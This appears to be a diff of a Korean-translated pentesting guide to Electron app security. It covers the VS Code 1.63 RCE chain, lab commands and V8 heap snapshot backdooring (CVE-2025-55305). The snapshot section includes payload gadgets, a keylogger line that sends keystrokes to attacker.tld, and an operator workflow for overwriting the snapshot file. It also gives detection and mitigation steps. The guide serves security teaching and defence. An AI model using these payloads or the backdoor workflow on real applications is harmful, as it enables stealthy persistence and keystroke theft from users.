- **Windows에서 사용자 지정 Jump List를 설정하거나 제거**합니다. 작업이 사용자에게 어떻게 표시될지 정리하려면 **카테고리**를 지정할 수 있습니다.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- 어떤 **실행 파일(executables)**이 로그인 시 **실행**되는지와 그 **옵션**을 **구성**합니다 (macOS 및 Windows 전용).
|
||||
- **로그인 시 실행되는 실행 파일과 해당 옵션을 구성**합니다 (macOS 및 Windows 전용).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
@ -349,9 +349,9 @@ Native.app.exit()
|
||||
```
|
||||
## systemPreferences 모듈
|
||||
|
||||
Electron에서 시스템 환경설정에 접근하고 시스템 이벤트를 발생시키기 위한 **주요 API**입니다. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, 그리고 **setUserDefault** 같은 메서드들은 모두 이 모듈의 **일부**입니다.
|
||||
Electron에서 시스템 환경설정에 접근하고 **시스템 이벤트를 발생시키는** **주요 API**입니다. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, 그리고 **setUserDefault** 같은 메서드들은 모두 이 모듈의 **일부입니다**.
|
||||
|
||||
**사용 예시:**
|
||||
**예제 사용법:**
|
||||
```javascript
|
||||
const { systemPreferences } = require('electron');
|
||||
|
||||
@ -366,33 +366,33 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **수신**: NSDistributedNotificationCenter를 사용해 **native macOS notifications**을 수신합니다.
|
||||
* **macOS Catalina 이전**에는 CFNotificationCenterAddObserver에 **nil**을 전달하여 **all** distributed notifications을 sniff할 수 있었습니다.
|
||||
* **Catalina / Big Sur 이후**에는 sandboxed apps가 이름으로 notifications를 등록하여 **screen locks/unlocks**, **volume mounts**, **network activity** 등 많은 이벤트를 여전히 **subscribe**할 수 있습니다.
|
||||
* **수신**: NSDistributedNotificationCenter를 사용해 **macOS 네이티브 알림**을 수신합니다.
|
||||
* **macOS Catalina** 이전에는 CFNotificationCenterAddObserver에 **nil**을 전달하여 **all** 분산 알림을 스니핑할 수 있었습니다.
|
||||
* **Catalina / Big Sur** 이후에는 샌드박스된 앱도 이름으로 알림을 등록함으로써 (예: **screen locks/unlocks**, **volume mounts**, **network activity** 등) 여전히 **많은 이벤트**를 **subscribe**할 수 있습니다.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* NSUserDefaults와 **인터페이스**하며, macOS에서 **application** 또는 **global** 환경설정을 저장합니다.
|
||||
* **NSUserDefaults**와 **인터페이스**하며, macOS에서 **application** 또는 **global** 환경설정을 저장합니다.
|
||||
|
||||
* **getUserDefault**는 최근 파일 위치나 사용자의 지리적 위치 등 민감한 정보를 **retrieve**할 수 있습니다.
|
||||
* **getUserDefault**는 **recent file locations**나 **user’s geographic location**와 같은 민감한 정보를 **retrieve**할 수 있습니다.
|
||||
|
||||
* **setUserDefault**는 이러한 환경설정을 **modify**하여 앱의 **configuration**에 영향을 줄 수 있습니다.
|
||||
|
||||
* 오래된 Electron 버전(v8.3.0 이전)에서는 NSUserDefaults의 **standard suite**만 접근 가능했습니다.
|
||||
* **older Electron versions**(v8.3.0 이전)에서는 NSUserDefaults의 **standard suite**만 **accessible**했습니다.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
이 함수는 파일 매니저에서 지정된 파일을 보여주며, 파일이 자동으로 실행될 수 있습니다.
|
||||
This function shows the given file in a file manager, which **could automatically execute the file**.
|
||||
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Electron 앱은 XSS 공격을 방지하기 위해 Content Security Policy (CSP)를 가져야 합니다. CSP는 브라우저에서 신뢰되지 않은 코드의 실행을 방지하는 보안 표준입니다.
|
||||
Electron 앱은 **Content Security Policy (CSP)**를 가져 **XSS 공격을 방지**해야 합니다. **CSP**는 브라우저에서 **untrusted code**의 **execution**을 **prevent**하는 데 도움이 되는 **security standard**입니다.
|
||||
|
||||
대개 `main.js` 파일이나 `index.html` 템플릿의 meta 태그 안에 있는 CSP로 구성됩니다.
|
||||
보통 **`main.js`** 파일이나 **`index.html`** 템플릿의 **meta tag** 안에 CSP를 **configured**합니다.
|
||||
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
For more information check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -402,14 +402,14 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||
|
||||
이 실전 체인은 Visual Studio Code 1.63 (CVE-2021-43908)에 영향을 미쳤으며, webview에서 단일 markdown 기반 XSS가 CSP, postMessage 및 scheme handlers가 잘못 구성된 경우 어떻게 전체 RCE로 확장될 수 있는지 보여줍니다. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
|
||||
Attack chain overview
|
||||
- First XSS via webview CSP: 생성된 CSP는 `style-src 'self' 'unsafe-inline'`를 포함하여 `vscode-webview://` 컨텍스트에서 인라인/스타일 기반 인젝션을 허용했습니다. 페이로드는 대상 webview의 extensionId를 exfiltrate하기 위해 `/stealID`로 beaconed 했습니다.
|
||||
- Constructing target webview URL: 유출된 ID를 사용해 `vscode-webview://<extensionId>/.../<publicUrl>`를 구성했습니다.
|
||||
- Second XSS via postMessage trust: 외부 webview는 `window.postMessage`를 엄격한 origin/type 검사 없이 신뢰했고, `allowScripts: true`로 공격자 HTML을 로드했습니다.
|
||||
- Local file loading via scheme/path rewriting: 페이로드는 `file:///...`을 `vscode-file://vscode-app/...`로 재작성하고 `exploit.md`를 `RCE.html`로 교체하여 약한 경로 검증을 악용해 권한 있는 로컬 리소스를 로드했습니다.
|
||||
- RCE in Node-enabled context: 로드된 HTML은 Node API가 사용 가능한 상태로 실행되어 OS 명령 실행을 획득했습니다.
|
||||
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
|
||||
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
|
||||
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
|
||||
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
|
||||
|
||||
Example RCE primitive in the final context
|
||||
```js
|
||||
@ -417,7 +417,7 @@ Example RCE primitive in the final context
|
||||
require('child_process').exec('calc.exe'); // Windows
|
||||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||
```
|
||||
postMessage 신뢰 문제 관련 참고 자료:
|
||||
postMessage 신뢰 문제에 대한 관련 자료:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||
@ -425,16 +425,16 @@ postMessage 신뢰 문제 관련 참고 자료:
|
||||
|
||||
## **도구**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity)는 Electron-based applications의 잘못된 설정과 보안 안티패턴을 식별하는 도구입니다.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint)는 Electronegativity를 사용하는 Electron applications용 오픈 소스 VS Code 플러그인입니다.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)는 취약한 서드파티 라이브러리를 검사하는 데 사용됩니다.
|
||||
- [**Electro.ng**](https://electro.ng/): 구매해야 합니다
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 은 Electron 기반 애플리케이션의 잘못된 구성과 보안 안티패턴을 식별하는 도구입니다.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 은 Electronegativity를 사용하는 Electron 애플리케이션용 오픈 소스 VS Code 플러그인입니다.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 은 취약한 서드파티 라이브러리를 점검하는 도구입니다.
|
||||
- [**Electro.ng**](https://electro.ng/): 구매가 필요합니다
|
||||
|
||||
## 실습
|
||||
|
||||
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)에서 취약한 Electron 앱을 익스플로잇하는 실습을 찾을 수 있습니다.
|
||||
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 에서 취약한 Electron 앱을 exploit하기 위한 실습을 찾을 수 있습니다.
|
||||
|
||||
실습에 도움이 될 몇 가지 명령:
|
||||
실습에 도움이 되는 몇 가지 명령:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -457,18 +457,18 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## 로컬 백도어 삽입 via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
## 로컬 backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron 및 Chromium 기반 앱은 시작 시 미리 빌드된 V8 heap snapshot을 역직렬화하여 각 V8 isolate (main, preload, renderer)를 초기화합니다 (v8_context_snapshot.bin, 선택적으로 browser_v8_context_snapshot.bin). 역사적으로, Electron’s integrity fuses는 이러한 snapshots를 실행 가능한 콘텐츠로 취급하지 않았기 때문에 fuse 기반 무결성 강제와 OS 코드 서명 검사를 모두 회피했습니다. 결과적으로, 사용자 쓰기 가능한 설치 경로의 snapshot을 교체하면 서명된 바이너리나 ASAR을 수정하지 않고도 앱 내에서 은밀하고 지속적인 코드 실행을 확보할 수 있었습니다.
|
||||
Electron 및 Chromium 기반 앱은 시작 시 미리 빌드된 V8 heap snapshot(v8_context_snapshot.bin, 선택적으로 browser_v8_context_snapshot.bin)을 deserialize하여 각 V8 isolate(main, preload, renderer)를 초기화합니다. 역사적으로 Electron의 integrity fuses는 이러한 snapshots를 실행 가능한 콘텐츠로 취급하지 않았기 때문에 fuse 기반 무결성 강제와 OS 코드 서명 검사 둘 다를 회피했습니다. 결과적으로, 사용자 쓰기 가능한 설치에서 snapshot을 교체하면 서명된 바이너리나 ASAR을 수정하지 않고도 앱 내부에서 은밀하고 지속적인 코드 실행을 확보할 수 있었습니다.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar는 ASAR 내부의 앱 JavaScript를 검증하지만, V8 heap snapshots는 검증 대상이 아니었습니다 (CVE-2025-55305). Chromium 또한 snapshots에 대해 무결성 검사를 수행하지 않습니다.
|
||||
- Attack preconditions: 앱 설치 디렉터리에 대한 로컬 파일 쓰기 권한. Electron 앱이나 Chromium 브라우저가 사용자 쓰기 가능한 경로에 설치되는 시스템에서 흔합니다(예: %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Effect: 자주 사용되는 builtin(“gadget”)을 덮어써서 어떤 isolate에서도 공격자 JavaScript를 신뢰성 있게 실행하도록 하며, 이를 통해 지속성 확보 및 코드 서명 검증 회피가 가능합니다.
|
||||
- Affected surface: snapshot을 사용자 쓰기 가능한 위치에서 로드하는 Electron 앱(심지어 fuses가 활성화된 경우도 포함) 및 Chromium 기반 브라우저.
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation 및 OnlyLoadAppFromAsar는 ASAR 내부의 앱 JavaScript를 검증하지만 V8 heap snapshots(CVE-2025-55305)는 포함하지 않았습니다. Chromium도 유사하게 snapshots에 대해 무결성 검사를 하지 않습니다.
|
||||
- Attack preconditions: 앱 설치 디렉터리에 대한 로컬 파일 쓰기 권한. 이는 Electron 앱이나 Chromium 브라우저가 사용자 쓰기 가능 경로(예: Windows의 %AppData%\Local; macOS에서 주의가 필요한 /Applications)에 설치된 시스템에서 흔합니다.
|
||||
- Effect: 자주 사용되는 builtin(일명 “gadget”)을 덮어써 어떤 isolate에서도 공격자 JavaScript를 신뢰성 있게 실행할 수 있으며, 이를 통해 지속성 및 코드 서명 검증 회피가 가능합니다.
|
||||
- Affected surface: (fuses가 활성화되어 있더라도) 사용자 쓰기 가능 위치에서 snapshots를 로드하는 Electron 앱 및 Chromium 기반 브라우저.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
- prebuilt electron/mksnapshot을 사용하여 payload JS를 snapshot으로 컴파일한 뒤 애플리케이션의 v8_context_snapshot.bin을 덮어씁니다.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
@ -484,11 +484,11 @@ Array.isArray = function () {
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware 페이로드 라우팅 (main vs. renderer에서 서로 다른 코드 실행)
|
||||
- Main process detection: Node 전용 전역 객체인 process.pid, process.binding(), process.dlopen 등이 main process isolate에 존재합니다.
|
||||
- Browser/renderer detection: document 컨텍스트에서 실행될 때 alert 같은 Browser 전용 전역 객체를 사용할 수 있습니다.
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- 메인 프로세스 감지: Node-only globals(예: process.pid, process.binding(), process.dlopen)은 메인 프로세스 isolate에 존재합니다.
|
||||
- Browser/renderer 감지: 문서 컨텍스트에서 실행될 때 alert 같은 Browser-only globals를 사용할 수 있습니다.
|
||||
|
||||
한 번만 main-process의 Node 기능을 탐지하는 예제 가젯
|
||||
예제 gadget: main-process의 Node 기능을 한 번 탐지합니다
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -541,31 +541,27 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Operator workflow
|
||||
1) 공통 내장 함수(예: Array.isArray)를 덮어쓰고 선택적으로 isolate별 분기 처리를 하는 payload.js를 작성한다.
|
||||
2) Chromium 소스 없이 snapshot을 빌드한다:
|
||||
운영자 워크플로우
|
||||
1) payload.js를 작성하여 일반적인 builtin을 clobber하도록 하고(예: Array.isArray), 필요 시 isolate별 분기를 추가한다.
|
||||
2) Chromium 소스 없이 스냅샷을 빌드:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) 대상 애플리케이션의 snapshot 파일을 덮어쓴다:
|
||||
3) 대상 애플리케이션의 스냅샷 파일을 덮어쓴다:
|
||||
- v8_context_snapshot.bin (항상 사용됨)
|
||||
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse가 사용된 경우)
|
||||
4) 애플리케이션을 실행하면 선택한 내장 함수가 사용될 때마다 gadget이 실행된다.
|
||||
4) 애플리케이션을 실행하면 선택한 builtin이 사용될 때마다 gadget이 실행된다.
|
||||
|
||||
Notes and considerations
|
||||
- Integrity/signature bypass: Snapshot 파일은 코드 서명 검사에서 네이티브 실행 파일로 취급되지 않으며 (역사적으로) Electron의 fuses나 Chromium 무결성 제어의 적용 대상이 아니었다.
|
||||
- Persistence: 사용자 쓰기 가능한 설치 위치의 snapshot을 교체하면 일반적으로 앱 재시작을 견디며 서명된 합법적 앱처럼 보인다.
|
||||
- Chromium browsers: 동일한 변조 개념은 사용자 쓰기 가능한 위치에 설치된 Chrome/파생 브라우저에도 적용된다. Chrome은 다른 무결성 완화책을 보유하고 있지만 물리적 로컬 공격은 위협 모델에서 명시적으로 제외한다.
|
||||
주의 및 고려사항
|
||||
- Integrity/signature bypass: Snapshot files는 코드 서명 검사에서 네이티브 실행 파일로 취급되지 않으며(역사적으로) Electron’s fuses나 Chromium 무결성 제어의 적용을 받지 않았다.
|
||||
- Persistence: 사용자 쓰기 가능 설치 위치의 스냅샷을 교체하면 일반적으로 앱 재시작을 견디며 서명된 정상 앱처럼 보인다.
|
||||
- Chromium browsers: 동일한 변조 개념은 user-writable 위치에 설치된 Chrome/파생 브라우저에도 적용된다. Chrome은 추가 무결성 완화책을 가지고 있지만, 위협 모델에서 physically local attacks를 명시적으로 제외한다.
|
||||
|
||||
Detection and mitigations
|
||||
- Snapshot을 실행 가능한 콘텐츠로 취급하고 무결성 강제에 포함시킨다 (CVE-2025-55305 수정).
|
||||
- 관리자 전용 쓰기 가능한 설치 위치를 권장; v8_context_snapshot.bin 및 browser_v8_context_snapshot.bin의 해시를 기준선으로 설정하고 모니터링한다.
|
||||
- 초기 런타임에서의 내장 함수 덮어쓰기와 예상치 못한 snapshot 변경을 탐지한다; 역직렬화된 스냅샷이 예상 값과 일치하지 않을 때 경보를 발생시킨다.
|
||||
탐지 및 완화
|
||||
- 스냅샷을 실행 가능한 콘텐츠로 간주하고 무결성 강제에 포함시킨다 (CVE-2025-55305 fix).
|
||||
- 관리자 전용 쓰기 가능한 설치 위치를 우선 사용하고; v8_context_snapshot.bin 및 browser_v8_context_snapshot.bin의 해시를 기준선으로 설정하여 모니터링한다.
|
||||
- early-runtime builtin clobbering 및 예기치 않은 스냅샷 변경을 탐지하고; 역직렬화된 스냅샷이 예상 값과 일치하지 않을 때 경고한다.
|
||||
|
||||
## **References**
|
||||
## **참고 자료**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
|
Loading…
x
Reference in New Issue
Block a user